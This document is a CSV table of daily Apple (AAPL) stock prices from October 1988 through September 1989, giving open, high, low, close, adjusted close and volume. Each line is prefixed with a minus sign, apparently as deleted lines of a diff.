-1988-10-12,1.375,1.3928571939468384,1.3571428060531616,1.3839285373687744,1.1084787845611572,33236000.0,AAPL
-1988-10-13,1.375,1.4196428060531616,1.375,1.3928571939468384,1.11562979221344,41115200.0,AAPL
-1988-10-14,1.4107142686843872,1.4107142686843872,1.3616071939468384,1.3839285373687744,1.1084787845611572,39312000.0,AAPL
-1988-10-17,1.375,1.3928571939468384,1.3660714626312256,1.375,1.1013273000717163,23422000.0,AAPL
-1988-10-18,1.3928571939468384,1.4107142686843872,1.3660714626312256,1.40625,1.1263575553894043,35649600.0,AAPL
-1988-10-19,1.4196428060531616,1.4553571939468384,1.4107142686843872,1.4285714626312256,1.1442357301712036,69330800.0,AAPL
-1988-10-20,1.4285714626312256,1.4866071939468384,1.4285714626312256,1.4821428060531616,1.1871449947357178,43366400.0,AAPL
-1988-10-21,1.4732142686843872,1.4910714626312256,1.4553571939468384,1.4642857313156128,1.1728419065475464,30900800.0,AAPL
-1988-10-24,1.4732142686843872,1.4732142686843872,1.4151785373687744,1.4285714626312256,1.1442357301712036,33790400.0,AAPL
-1988-10-25,1.4375,1.4375,1.4196428060531616,1.4241071939468384,1.1406604051589966,21296800.0,AAPL
-1988-10-26,1.4285714626312256,1.4285714626312256,1.375,1.4017857313156128,1.1227812767028809,47180000.0,AAPL
-1988-10-27,1.3839285373687744,1.4017857313156128,1.3660714626312256,1.3928571939468384,1.11562979221344,35921200.0,AAPL
-1988-10-28,1.3928571939468384,1.4107142686843872,1.375,1.375,1.1013273000717163,21120400.0,AAPL
-1988-10-31,1.3839285373687744,1.3839285373687744,1.3392857313156128,1.3794642686843872,1.1049034595489502,60726400.0,AAPL
-1988-11-01,1.375,1.3839285373687744,1.3482142686843872,1.3571428060531616,1.0870239734649658,35924000.0,AAPL
-1988-11-02,1.3660714626312256,1.3660714626312256,1.3125,1.3303571939468384,1.0655698776245117,52130400.0,AAPL
-1988-11-03,1.3303571939468384,1.3392857313156128,1.3125,1.3258928060531616,1.0619935989379883,60614400.0,AAPL
-1988-11-04,1.3125,1.3571428060531616,1.3125,1.3482142686843872,1.0798726081848145,38449600.0,AAPL
-1988-11-07,1.3303571939468384,1.3482142686843872,1.3214285373687744,1.3392857313156128,1.0727214813232422,42520800.0,AAPL
-1988-11-08,1.3392857313156128,1.3839285373687744,1.3348214626312256,1.375,1.1013273000717163,38631600.0,AAPL
-1988-11-09,1.3660714626312256,1.40625,1.3571428060531616,1.4017857313156128,1.1227812767028809,50430800.0,AAPL
-1988-11-10,1.4107142686843872,1.4196428060531616,1.3928571939468384,1.4107142686843872,1.1299327611923218,24978800.0,AAPL
-1988-11-11,1.3928571939468384,1.4151785373687744,1.375,1.375,1.1013273000717163,27171200.0,AAPL
-1988-11-14,1.3839285373687744,1.3928571939468384,1.3660714626312256,1.3883928060531616,1.1120545864105225,21308000.0,AAPL
-1988-11-15,1.3928571939468384,1.4017857313156128,1.3839285373687744,1.3928571939468384,1.11562979221344,20000400.0,AAPL
-1988-11-16,1.3928571939468384,1.4017857313156128,1.3482142686843872,1.3571428060531616,1.0870239734649658,36960000.0,AAPL
-1988-11-17,1.3571428060531616,1.375,1.3571428060531616,1.3660714626312256,1.094176173210144,19885600.0,AAPL
-1988-11-18,1.375,1.375,1.3571428060531616,1.3571428060531616,1.0870239734649658,14397600.0,AAPL
-1988-11-21,1.3392857313156128,1.3482142686843872,1.2946428060531616,1.3080357313156128,1.0504546165466309,55476400.0,AAPL
-1988-11-22,1.3035714626312256,1.3169642686843872,1.2857142686843872,1.2901785373687744,1.0361132621765137,37046800.0,AAPL
-1988-11-23,1.2767857313156128,1.3214285373687744,1.2678571939468384,1.3169642686843872,1.0576244592666626,46998000.0,AAPL
-1988-11-25,1.2946428060531616,1.3125,1.2857142686843872,1.3035714626312256,1.046868920326233,12073600.0,AAPL
-1988-11-28,1.3035714626312256,1.3125,1.2857142686843872,1.3035714626312256,1.046868920326233,34840400.0,AAPL
-1988-11-29,1.3035714626312256,1.3125,1.2857142686843872,1.3125,1.0540392398834229,23167200.0,AAPL
-1988-11-30,1.3125,1.3571428060531616,1.3125,1.34375,1.0791349411010742,41960800.0,AAPL
-1988-12-01,1.3482142686843872,1.3928571939468384,1.3392857313156128,1.3839285373687744,1.111401915550232,53040400.0,AAPL
-1988-12-02,1.3660714626312256,1.4241071939468384,1.3571428060531616,1.4017857313156128,1.1257426738739014,83428800.0,AAPL
-1988-12-05,1.4107142686843872,1.4285714626312256,1.3839285373687744,1.4107142686843872,1.1329131126403809,38603600.0,AAPL
-1988-12-06,1.4017857313156128,1.4196428060531616,1.3928571939468384,1.4107142686843872,1.1329131126403809,26233200.0,AAPL
-1988-12-07,1.3928571939468384,1.4107142686843872,1.3839285373687744,1.40625,1.1293280124664307,24533600.0,AAPL
-1988-12-08,1.4017857313156128,1.4017857313156128,1.3839285373687744,1.3973214626312256,1.1221578121185303,14865200.0,AAPL
-1988-12-09,1.4017857313156128,1.4107142686843872,1.3839285373687744,1.3973214626312256,1.1221578121185303,11239200.0,AAPL
-1988-12-12,1.4017857313156128,1.4107142686843872,1.375,1.375,1.104231834411621,29470000.0,AAPL
-1988-12-13,1.375,1.3839285373687744,1.3660714626312256,1.3839285373687744,1.111401915550232,30637600.0,AAPL
-1988-12-14,1.375,1.4285714626312256,1.375,1.4196428060531616,1.1400833129882812,48325200.0,AAPL
-1988-12-15,1.4285714626312256,1.4464285373687744,1.4017857313156128,1.4107142686843872,1.1329131126403809,28142800.0,AAPL
-1988-12-16,1.4107142686843872,1.4464285373687744,1.4017857313156128,1.4330357313156128,1.1508389711380005,45872400.0,AAPL
-1988-12-19,1.4375,1.4642857313156128,1.4285714626312256,1.4553571939468384,1.1687649488449097,58581600.0,AAPL
-1988-12-20,1.4642857313156128,1.4821428060531616,1.4508928060531616,1.4642857313156128,1.1759356260299683,68546800.0,AAPL
-1988-12-21,1.4642857313156128,1.5,1.4642857313156128,1.4910714626312256,1.1974462270736694,60491200.0,AAPL
-1988-12-22,1.4910714626312256,1.5,1.4553571939468384,1.4642857313156128,1.1759356260299683,26507600.0,AAPL
-1988-12-23,1.4642857313156128,1.4776785373687744,1.4642857313156128,1.46875,1.1795203685760498,10239600.0,AAPL
-1988-12-27,1.4642857313156128,1.4821428060531616,1.4464285373687744,1.4464285373687744,1.1615945100784302,14996800.0,AAPL
-1988-12-28,1.4464285373687744,1.4553571939468384,1.4196428060531616,1.4375,1.1544245481491089,12885600.0,AAPL
-1988-12-29,1.4375,1.4553571939468384,1.4375,1.4464285373687744,1.1615945100784302,29453200.0,AAPL
-1988-12-30,1.4464285373687744,1.4732142686843872,1.4375,1.4375,1.1544245481491089,20423200.0,AAPL
-1989-01-03,1.4375,1.4464285373687744,1.4285714626312256,1.4419642686843872,1.1580091714859009,25004000.0,AAPL
-1989-01-04,1.4553571939468384,1.5044642686843872,1.4464285373687744,1.5,1.2046161890029907,59987200.0,AAPL
-1989-01-05,1.5,1.5446428060531616,1.4732142686843872,1.5089285373687744,1.2117869853973389,76832000.0,AAPL
-1989-01-06,1.5089285373687744,1.5535714626312256,1.5089285373687744,1.5223214626312256,1.2225422859191895,49666400.0,AAPL
-1989-01-09,1.5357142686843872,1.5401785373687744,1.5089285373687744,1.5357142686843872,1.2332979440689087,19826800.0,AAPL
-1989-01-10,1.5178571939468384,1.53125,1.4821428060531616,1.5223214626312256,1.2225422859191895,25830000.0,AAPL
-1989-01-11,1.5089285373687744,1.5178571939468384,1.4732142686843872,1.5044642686843872,1.20820152759552,39032000.0,AAPL
-1989-01-12,1.5089285373687744,1.5357142686843872,1.5,1.5267857313156128,1.2261278629302979,37578800.0,AAPL
-1989-01-13,1.5267857313156128,1.5535714626312256,1.5133928060531616,1.5446428060531616,1.2404683828353882,48476400.0,AAPL
-1989-01-16,1.5446428060531616,1.5714285373687744,1.5357142686843872,1.5625,1.2548091411590576,42148400.0,AAPL
-1989-01-17,1.5446428060531616,1.5535714626312256,1.4285714626312256,1.4419642686843872,1.1580091714859009,189151200.0,AAPL
-1989-01-18,1.4553571939468384,1.46875,1.4107142686843872,1.4196428060531616,1.1400833129882812,121982000.0,AAPL
-1989-01-19,1.4464285373687744,1.4642857313156128,1.4285714626312256,1.4464285373687744,1.1615945100784302,63996800.0,AAPL
-1989-01-20,1.4464285373687744,1.4821428060531616,1.4375,1.4642857313156128,1.1759356260299683,43433600.0,AAPL
-1989-01-23,1.4553571939468384,1.4732142686843872,1.4553571939468384,1.4642857313156128,1.1759356260299683,45133200.0,AAPL
-1989-01-24,1.4642857313156128,1.4910714626312256,1.4553571939468384,1.4866071939468384,1.1938611268997192,55823600.0,AAPL
-1989-01-25,1.4910714626312256,1.5,1.4642857313156128,1.4821428060531616,1.1902756690979004,27734000.0,AAPL
-1989-01-26,1.4553571939468384,1.5044642686843872,1.4508928060531616,1.4910714626312256,1.1974462270736694,71316000.0,AAPL
-1989-01-27,1.3660714626312256,1.4017857313156128,1.2946428060531616,1.34375,1.0791349411010742,531792800.0,AAPL
-1989-01-30,1.34375,1.3571428060531616,1.3303571939468384,1.3348214626312256,1.0719653367996216,146624800.0,AAPL
-1989-01-31,1.3303571939468384,1.3482142686843872,1.3125,1.3482142686843872,1.0827209949493408,115088400.0,AAPL
-1989-02-01,1.3482142686843872,1.4151785373687744,1.3348214626312256,1.4017857313156128,1.1257426738739014,121889600.0,AAPL
-1989-02-02,1.4107142686843872,1.4375,1.4017857313156128,1.4196428060531616,1.1400833129882812,118372800.0,AAPL
-1989-02-03,1.4285714626312256,1.4375,1.3928571939468384,1.4017857313156128,1.1257426738739014,44727200.0,AAPL
-1989-02-06,1.4107142686843872,1.4107142686843872,1.3660714626312256,1.375,1.104231834411621,29184400.0,AAPL
-1989-02-07,1.3660714626312256,1.4017857313156128,1.3660714626312256,1.3928571939468384,1.1185719966888428,41288800.0,AAPL
-1989-02-08,1.3928571939468384,1.4107142686843872,1.3571428060531616,1.3660714626312256,1.0970613956451416,39253200.0,AAPL
-1989-02-09,1.3660714626312256,1.3928571939468384,1.3571428060531616,1.3660714626312256,1.0970613956451416,40202400.0,AAPL
-1989-02-10,1.3660714626312256,1.3660714626312256,1.3214285373687744,1.3303571939468384,1.0683799982070923,87085600.0,AAPL
-1989-02-13,1.3125,1.3303571939468384,1.3125,1.3214285373687744,1.0612095594406128,58797200.0,AAPL
-1989-02-14,1.3169642686843872,1.3214285373687744,1.2589285373687744,1.2767857313156128,1.0253582000732422,222894000.0,AAPL
-1989-02-15,1.2767857313156128,1.2946428060531616,1.2678571939468384,1.2946428060531616,1.039698839187622,82656000.0,AAPL
-1989-02-16,1.2946428060531616,1.3303571939468384,1.2857142686843872,1.2991071939468384,1.043283462524414,63924000.0,AAPL
-1989-02-17,1.2946428060531616,1.3214285373687744,1.2946428060531616,1.3125,1.0569438934326172,29212400.0,AAPL
-1989-02-21,1.3169642686843872,1.3482142686843872,1.3125,1.3392857313156128,1.0785140991210938,47639200.0,AAPL
-1989-02-22,1.3303571939468384,1.3392857313156128,1.3035714626312256,1.3125,1.0569438934326172,59581200.0,AAPL
-1989-02-23,1.3035714626312256,1.3214285373687744,1.2946428060531616,1.3125,1.0569438934326172,23842000.0,AAPL
-1989-02-24,1.3214285373687744,1.3214285373687744,1.2857142686843872,1.2857142686843872,1.0353736877441406,38032400.0,AAPL
-1989-02-27,1.2857142686843872,1.3035714626312256,1.2767857313156128,1.3035714626312256,1.0497539043426514,28980000.0,AAPL
-1989-02-28,1.3035714626312256,1.3125,1.2857142686843872,1.2946428060531616,1.042564034461975,44004800.0,AAPL
-1989-03-01,1.2946428060531616,1.3035714626312256,1.2678571939468384,1.2857142686843872,1.0353736877441406,42532000.0,AAPL
-1989-03-02,1.2767857313156128,1.2946428060531616,1.2410714626312256,1.25,1.0066132545471191,94082800.0,AAPL
-1989-03-03,1.2589285373687744,1.2589285373687744,1.2142857313156128,1.2410714626312256,0.9994234442710876,96944400.0,AAPL
-1989-03-06,1.25,1.28125,1.2321428060531616,1.2678571939468384,1.0209935903549194,42128800.0,AAPL
-1989-03-07,1.2678571939468384,1.2857142686843872,1.25,1.2767857313156128,1.0281836986541748,65172800.0,AAPL
-1989-03-08,1.2723214626312256,1.2946428060531616,1.2589285373687744,1.2589285373687744,1.0138033628463745,54073600.0,AAPL
-1989-03-09,1.2589285373687744,1.2767857313156128,1.2321428060531616,1.2321428060531616,0.992233157157898,33359200.0,AAPL
-1989-03-10,1.2321428060531616,1.25,1.2232142686843872,1.25,1.0066132545471191,25678800.0,AAPL
-1989-03-13,1.25,1.2678571939468384,1.2410714626312256,1.25,1.0066132545471191,32776800.0,AAPL
-1989-03-14,1.25,1.2678571939468384,1.2455357313156128,1.2589285373687744,1.0138033628463745,40485200.0,AAPL
-1989-03-15,1.2589285373687744,1.2678571939468384,1.2410714626312256,1.25,1.0066132545471191,22514800.0,AAPL
-1989-03-16,1.25,1.2678571939468384,1.2321428060531616,1.2589285373687744,1.0138033628463745,48059200.0,AAPL
-1989-03-17,1.2321428060531616,1.2767857313156128,1.2142857313156128,1.2455357313156128,1.0030182600021362,59281600.0,AAPL
-1989-03-20,1.25,1.2589285373687744,1.2321428060531616,1.2455357313156128,1.0030182600021362,45362800.0,AAPL
-1989-03-21,1.2678571939468384,1.2678571939468384,1.2410714626312256,1.2455357313156128,1.0030182600021362,32048800.0,AAPL
-1989-03-22,1.2232142686843872,1.2410714626312256,1.2053571939468384,1.2098214626312256,0.97425776720047,36212400.0,AAPL
-1989-03-23,1.2142857313156128,1.2321428060531616,1.2053571939468384,1.2276785373687744,0.9886382222175598,29727600.0,AAPL
-1989-03-27,1.2232142686843872,1.2321428060531616,1.1964285373687744,1.2053571939468384,0.9706631302833557,37914800.0,AAPL
-1989-03-28,1.2142857313156128,1.2321428060531616,1.2142857313156128,1.2142857313156128,0.9778533577919006,35313600.0,AAPL
-1989-03-29,1.2142857313156128,1.2321428060531616,1.2142857313156128,1.2232142686843872,0.9850432276725769,18600400.0,AAPL
-1989-03-30,1.2232142686843872,1.25,1.2142857313156128,1.2410714626312256,0.9994234442710876,26311600.0,AAPL
-1989-03-31,1.25,1.2767857313156128,1.2410714626312256,1.2723214626312256,1.02458918094635,46337200.0,AAPL
-1989-04-03,1.2678571939468384,1.2946428060531616,1.2410714626312256,1.25,1.0066132545471191,41571600.0,AAPL
-1989-04-04,1.2321428060531616,1.2455357313156128,1.2098214626312256,1.2321428060531616,0.992233157157898,28932400.0,AAPL
-1989-04-05,1.2321428060531616,1.2589285373687744,1.2232142686843872,1.25,1.0066132545471191,30063600.0,AAPL
-1989-04-06,1.2410714626312256,1.2901785373687744,1.2321428060531616,1.2857142686843872,1.0353736877441406,39093600.0,AAPL
-1989-04-07,1.2857142686843872,1.3392857313156128,1.2857142686843872,1.3348214626312256,1.07491934299469,88746000.0,AAPL
-1989-04-10,1.3303571939468384,1.3571428060531616,1.3125,1.3214285373687744,1.0641337633132935,33843600.0,AAPL
-1989-04-11,1.3392857313156128,1.3571428060531616,1.3214285373687744,1.3482142686843872,1.0857043266296387,36635200.0,AAPL
-1989-04-12,1.3660714626312256,1.4017857313156128,1.3526785373687744,1.375,1.1072748899459839,96978000.0,AAPL
-1989-04-13,1.3839285373687744,1.4107142686843872,1.3660714626312256,1.375,1.1072748899459839,45318000.0,AAPL
-1989-04-14,1.3928571939468384,1.4017857313156128,1.3660714626312256,1.3839285373687744,1.1144641637802124,30839200.0,AAPL
-1989-04-17,1.375,1.4017857313156128,1.3571428060531616,1.4017857313156128,1.1288447380065918,35036400.0,AAPL
-1989-04-18,1.4107142686843872,1.4464285373687744,1.4017857313156128,1.4330357313156128,1.1540098190307617,140246400.0,AAPL
-1989-04-19,1.4285714626312256,1.4866071939468384,1.4196428060531616,1.4598214626312256,1.1755805015563965,106470000.0,AAPL
-1989-04-20,1.4553571939468384,1.4821428060531616,1.4375,1.4553571939468384,1.1719856262207031,44954000.0,AAPL
-1989-04-21,1.4464285373687744,1.4598214626312256,1.4196428060531616,1.4330357313156128,1.1540098190307617,28792400.0,AAPL
-1989-04-24,1.4285714626312256,1.4375,1.4107142686843872,1.4330357313156128,1.1540098190307617,27697600.0,AAPL
-1989-04-25,1.4285714626312256,1.4464285373687744,1.4196428060531616,1.4285714626312256,1.150415062904358,29044400.0,AAPL
-1989-04-26,1.4285714626312256,1.4375,1.3973214626312256,1.4196428060531616,1.1432249546051025,46533200.0,AAPL
-1989-04-27,1.4107142686843872,1.4285714626312256,1.3928571939468384,1.40625,1.1324397325515747,34846000.0,AAPL
-1989-04-28,1.4017857313156128,1.4107142686843872,1.375,1.3928571939468384,1.1216545104980469,25964400.0,AAPL
-1989-05-01,1.375,1.4017857313156128,1.375,1.3928571939468384,1.1216545104980469,20165600.0,AAPL
-1989-05-02,1.3928571939468384,1.4375,1.3928571939468384,1.4241071939468384,1.146820068359375,53936400.0,AAPL
-1989-05-03,1.4196428060531616,1.4553571939468384,1.4196428060531616,1.4375,1.157605528831482,55134800.0,AAPL
-1989-05-04,1.4375,1.4732142686843872,1.4285714626312256,1.4642857313156128,1.179175615310669,47227600.0,AAPL
-1989-05-05,1.5178571939468384,1.5267857313156128,1.4821428060531616,1.4821428060531616,1.1935557126998901,115189200.0,AAPL
-1989-05-08,1.4821428060531616,1.5089285373687744,1.4821428060531616,1.5089285373687744,1.2151257991790771,51480800.0,AAPL
-1989-05-09,1.5,1.5357142686843872,1.5,1.5178571939468384,1.2223159074783325,86693600.0,AAPL
-1989-05-10,1.5357142686843872,1.5535714626312256,1.5178571939468384,1.5446428060531616,1.243886113166809,58609600.0,AAPL
-1989-05-11,1.5446428060531616,1.5803571939468384,1.5357142686843872,1.5669642686843872,1.2618615627288818,75236000.0,AAPL
-1989-05-12,1.5892857313156128,1.6071428060531616,1.5714285373687744,1.6071428060531616,1.2942172288894653,116785200.0,AAPL
-1989-05-15,1.5982142686843872,1.6517857313156128,1.5982142686843872,1.6428571939468384,1.3229775428771973,79475200.0,AAPL
-1989-05-16,1.6428571939468384,1.6517857313156128,1.6071428060531616,1.6205357313156128,1.3050024509429932,57167600.0,AAPL
-1989-05-17,1.6160714626312256,1.625,1.6071428060531616,1.6160714626312256,1.3014072179794312,62115200.0,AAPL
-1989-05-18,1.6160714626312256,1.625,1.5982142686843872,1.5982142686843872,1.2870270013809204,52813600.0,AAPL
-1989-05-19,1.5982142686843872,1.6517857313156128,1.5982142686843872,1.6339285373687744,1.3157870769500732,82692400.0,AAPL
-1989-05-22,1.6339285373687744,1.6517857313156128,1.6160714626312256,1.6428571939468384,1.3258743286132812,47600000.0,AAPL
-1989-05-23,1.6428571939468384,1.6428571939468384,1.6160714626312256,1.625,1.3114631175994873,33616800.0,AAPL
-1989-05-24,1.6160714626312256,1.7053571939468384,1.6160714626312256,1.7053571939468384,1.3763152360916138,74401600.0,AAPL
-1989-05-25,1.6875,1.75,1.6875,1.7232142686843872,1.3907270431518555,58091600.0,AAPL
-1989-05-26,1.7232142686843872,1.75,1.7142857313156128,1.7321428060531616,1.3979328870773315,28128800.0,AAPL
-1989-05-30,1.7232142686843872,1.75,1.6919642686843872,1.6964285373687744,1.369109869003296,27980400.0,AAPL
-1989-05-31,1.6964285373687744,1.71875,1.6785714626312256,1.7053571939468384,1.3763152360916138,28803600.0,AAPL
-1989-06-01,1.7053571939468384,1.7589285373687744,1.6964285373687744,1.7410714626312256,1.4051384925842285,44875600.0,AAPL
-1989-06-02,1.7321428060531616,1.7678571939468384,1.7321428060531616,1.75,1.4123444557189941,31119200.0,AAPL
-1989-06-05,1.7410714626312256,1.75,1.6607142686843872,1.6785714626312256,1.3546972274780273,31029600.0,AAPL
-1989-06-06,1.6696428060531616,1.6785714626312256,1.6517857313156128,1.6696428060531616,1.347491979598999,36251600.0,AAPL
-1989-06-07,1.6696428060531616,1.7321428060531616,1.6696428060531616,1.7232142686843872,1.3907270431518555,43918000.0,AAPL
-1989-06-08,1.7321428060531616,1.75,1.6875,1.7008928060531616,1.372712254524231,44503200.0,AAPL
-1989-06-09,1.6875,1.7053571939468384,1.6607142686843872,1.6785714626312256,1.3546972274780273,23604000.0,AAPL
-1989-06-12,1.6696428060531616,1.7053571939468384,1.6517857313156128,1.6964285373687744,1.369109869003296,20216000.0,AAPL
-1989-06-13,1.6964285373687744,1.7410714626312256,1.6785714626312256,1.7321428060531616,1.3979328870773315,57744400.0,AAPL
-1989-06-14,1.75,1.7946428060531616,1.7232142686843872,1.7723214626312256,1.430359125137329,62826400.0,AAPL
-1989-06-15,1.7678571939468384,1.7767857313156128,1.6964285373687744,1.6964285373687744,1.369109869003296,40350800.0,AAPL
-1989-06-16,1.5982142686843872,1.625,1.5535714626312256,1.5892857313156128,1.2826393842697144,135500400.0,AAPL
-1989-06-19,1.5892857313156128,1.5982142686843872,1.5535714626312256,1.5714285373687744,1.268227458000183,45780000.0,AAPL
-1989-06-20,1.5714285373687744,1.5714285373687744,1.5089285373687744,1.5357142686843872,1.239404559135437,33633600.0,AAPL
-1989-06-21,1.5357142686843872,1.5535714626312256,1.5089285373687744,1.5178571939468384,1.2249929904937744,32466000.0,AAPL
-1989-06-22,1.5178571939468384,1.5625,1.5,1.5446428060531616,1.246610164642334,34300000.0,AAPL
-1989-06-23,1.5446428060531616,1.5803571939468384,1.5446428060531616,1.5669642686843872,1.2646251916885376,30973600.0,AAPL
-1989-06-26,1.5714285373687744,1.5714285373687744,1.5446428060531616,1.5535714626312256,1.25381600856781,45959200.0,AAPL
-1989-06-27,1.5625,1.5803571939468384,1.5178571939468384,1.5223214626312256,1.2285953760147095,26446000.0,AAPL
-1989-06-28,1.5089285373687744,1.5089285373687744,1.4642857313156128,1.4910714626312256,1.2033753395080566,64257200.0,AAPL
-1989-06-29,1.4642857313156128,1.4732142686843872,1.4285714626312256,1.4508928060531616,1.1709489822387695,58380000.0,AAPL
-1989-06-30,1.4464285373687744,1.4910714626312256,1.4107142686843872,1.4732142686843872,1.1889638900756836,41185200.0,AAPL
-1989-07-03,1.4910714626312256,1.4910714626312256,1.4553571939468384,1.4553571939468384,1.1745518445968628,12087600.0,AAPL
-1989-07-05,1.4464285373687744,1.4553571939468384,1.4285714626312256,1.4464285373687744,1.1673460006713867,29789200.0,AAPL
-1989-07-06,1.4553571939468384,1.4910714626312256,1.4375,1.4732142686843872,1.1889638900756836,43481200.0,AAPL
-1989-07-07,1.4732142686843872,1.5,1.4464285373687744,1.4732142686843872,1.1889638900756836,26527200.0,AAPL
-1989-07-10,1.4642857313156128,1.4732142686843872,1.4285714626312256,1.4464285373687744,1.1673460006713867,50923600.0,AAPL
-1989-07-11,1.4553571939468384,1.4642857313156128,1.4196428060531616,1.4196428060531616,1.145728588104248,60981200.0,AAPL
-1989-07-12,1.4196428060531616,1.4375,1.4107142686843872,1.4285714626312256,1.1529347896575928,31032400.0,AAPL
-1989-07-13,1.4285714626312256,1.4642857313156128,1.4107142686843872,1.4508928060531616,1.1709489822387695,56358400.0,AAPL
-1989-07-14,1.4553571939468384,1.4642857313156128,1.4196428060531616,1.4553571939468384,1.1745518445968628,64330000.0,AAPL
-1989-07-17,1.4553571939468384,1.4732142686843872,1.4196428060531616,1.4553571939468384,1.1745518445968628,32723600.0,AAPL
-1989-07-18,1.4553571939468384,1.4553571939468384,1.3839285373687744,1.4017857313156128,1.131316900253296,119327600.0,AAPL
-1989-07-19,1.4107142686843872,1.4553571939468384,1.3928571939468384,1.4464285373687744,1.1673460006713867,59743600.0,AAPL
-1989-07-20,1.4553571939468384,1.4732142686843872,1.4196428060531616,1.4285714626312256,1.1529347896575928,59018400.0,AAPL
-1989-07-21,1.4196428060531616,1.4285714626312256,1.3928571939468384,1.4285714626312256,1.1529347896575928,34871200.0,AAPL
-1989-07-24,1.4196428060531616,1.4196428060531616,1.4017857313156128,1.4017857313156128,1.131316900253296,28996800.0,AAPL
-1989-07-25,1.4017857313156128,1.4196428060531616,1.3571428060531616,1.3839285373687744,1.1169050931930542,52460800.0,AAPL
-1989-07-26,1.3660714626312256,1.375,1.3482142686843872,1.3660714626312256,1.1024936437606812,58436000.0,AAPL
-1989-07-27,1.3660714626312256,1.4107142686843872,1.3571428060531616,1.4017857313156128,1.131316900253296,43268400.0,AAPL
-1989-07-28,1.4017857313156128,1.4196428060531616,1.3928571939468384,1.40625,1.1349198818206787,29834000.0,AAPL
-1989-07-31,1.4017857313156128,1.4285714626312256,1.3928571939468384,1.4196428060531616,1.145728588104248,27966400.0,AAPL
-1989-08-01,1.4196428060531616,1.4375,1.4017857313156128,1.4241071939468384,1.1493312120437622,34885200.0,AAPL
-1989-08-02,1.4196428060531616,1.4464285373687744,1.4107142686843872,1.4464285373687744,1.1673460006713867,25351200.0,AAPL
-1989-08-03,1.4464285373687744,1.4821428060531616,1.4464285373687744,1.4732142686843872,1.1889638900756836,43234800.0,AAPL
-1989-08-04,1.4732142686843872,1.5267857313156128,1.46875,1.5267857313156128,1.2321988344192505,45838800.0,AAPL
-1989-08-07,1.5357142686843872,1.5714285373687744,1.5223214626312256,1.5625,1.2610218524932861,42053200.0,AAPL
-1989-08-08,1.5535714626312256,1.5982142686843872,1.5535714626312256,1.5758928060531616,1.2718307971954346,51548000.0,AAPL
-1989-08-09,1.5714285373687744,1.6339285373687744,1.5669642686843872,1.5714285373687744,1.268227458000183,48790000.0,AAPL
-1989-08-10,1.5714285373687744,1.5714285373687744,1.5267857313156128,1.5446428060531616,1.246610164642334,38091200.0,AAPL
-1989-08-11,1.5714285373687744,1.5714285373687744,1.4732142686843872,1.4955357313156128,1.206978678703308,57520400.0,AAPL
-1989-08-14,1.4821428060531616,1.5,1.4464285373687744,1.4553571939468384,1.1745518445968628,25706800.0,AAPL
-1989-08-15,1.4553571939468384,1.4821428060531616,1.4553571939468384,1.4776785373687744,1.1925667524337769,40933200.0,AAPL
-1989-08-16,1.4821428060531616,1.4910714626312256,1.4285714626312256,1.4419642686843872,1.1637425422668457,30133600.0,AAPL
-1989-08-17,1.4375,1.4732142686843872,1.4285714626312256,1.4642857313156128,1.181757926940918,38329200.0,AAPL
-1989-08-18,1.4910714626312256,1.5178571939468384,1.4821428060531616,1.5089285373687744,1.2177866697311401,21016800.0,AAPL
-1989-08-21,1.5089285373687744,1.5446428060531616,1.5,1.5089285373687744,1.220674991607666,34456800.0,AAPL
-1989-08-22,1.5,1.5357142686843872,1.5,1.53125,1.2387323379516602,27958000.0,AAPL
-1989-08-23,1.5357142686843872,1.5803571939468384,1.5178571939468384,1.5625,1.2640122175216675,43411200.0,AAPL
-1989-08-24,1.5625,1.5892857313156128,1.5535714626312256,1.5758928060531616,1.2748467922210693,40731600.0,AAPL
-1989-08-25,1.5714285373687744,1.6071428060531616,1.5714285373687744,1.5982142686843872,1.2929041385650635,40348000.0,AAPL
-1989-08-28,1.5892857313156128,1.6071428060531616,1.5714285373687744,1.5982142686843872,1.2929041385650635,20414800.0,AAPL
-1989-08-29,1.5982142686843872,1.6071428060531616,1.5625,1.5758928060531616,1.2748467922210693,44226000.0,AAPL
-1989-08-30,1.5714285373687744,1.5982142686843872,1.5714285373687744,1.5892857313156128,1.2856812477111816,29024800.0,AAPL
-1989-08-31,1.5892857313156128,1.6071428060531616,1.5803571939468384,1.5892857313156128,1.2856812477111816,14072800.0,AAPL
-1989-09-01,1.5892857313156128,1.5982142686843872,1.5803571939468384,1.59375,1.289292812347412,18530400.0,AAPL
-1989-09-05,1.5892857313156128,1.6205357313156128,1.5892857313156128,1.5982142686843872,1.2929041385650635,28705600.0,AAPL
-1989-09-06,1.5982142686843872,1.6026785373687744,1.5714285373687744,1.5982142686843872,1.2929041385650635,21688800.0,AAPL
-1989-09-07,1.5982142686843872,1.625,1.5982142686843872,1.5982142686843872,1.2929041385650635,28473200.0,AAPL
-1989-09-08,1.5982142686843872,1.6160714626312256,1.5892857313156128,1.6071428060531616,1.3001272678375244,13958000.0,AAPL
-1989-09-11,1.5982142686843872,1.6428571939468384,1.5892857313156128,1.6339285373687744,1.3217957019805908,24648400.0,AAPL
-1989-09-12,1.625,1.6696428060531616,1.6071428060531616,1.6428571939468384,1.3290187120437622,25897200.0,AAPL
-1989-09-13,1.6517857313156128,1.6651785373687744,1.6071428060531616,1.6071428060531616,1.3001272678375244,32172000.0,AAPL
-1989-09-14,1.6071428060531616,1.6160714626312256,1.5892857313156128,1.5982142686843872,1.2929041385650635,32821600.0,AAPL
-1989-09-15,1.6071428060531616,1.6160714626312256,1.5803571939468384,1.6071428060531616,1.3001272678375244,31217200.0,AAPL
-1989-09-18,1.5892857313156128,1.6071428060531616,1.5714285373687744,1.5714285373687744,1.271235466003418,15789200.0,AAPL
-1989-09-19,1.5803571939468384,1.5892857313156128,1.5357142686843872,1.5446428060531616,1.2495663166046143,20199200.0,AAPL
-1989-09-20,1.5714285373687744,1.6071428060531616,1.5625,1.59375,1.289292812347412,29537200.0,AAPL
-1989-09-21,1.6071428060531616,1.6428571939468384,1.5803571939468384,1.5982142686843872,1.2929041385650635,50240400.0,AAPL
-1989-09-22,1.5982142686843872,1.6160714626312256,1.5803571939468384,1.6026785373687744,1.2965158224105835,18124400.0,AAPL
-1989-09-25,1.5982142686843872,1.6339285373687744,1.5982142686843872,1.6160714626312256,1.3073501586914062,34039600.0,AAPL
-1989-09-26,1.6071428060531616,1.625,1.5982142686843872,1.6160714626312256,1.3073501586914062,19331200.0,AAPL
-1989-09-27,1.5803571939468384,1.6116071939468384,1.5714285373687744,1.5982142686843872,1.2929041385650635,22531600.0,AAPL
-1989-09-28,1.6071428060531616,1.6339285373687744,1.6071428060531616,1.625,1.3145729303359985,19854800.0,AAPL
-1989-09-29,1.6160714626312256,1.625,1.5892857313156128,1.5892857313156128,1.2856812477111816,17452400.0,AAPL
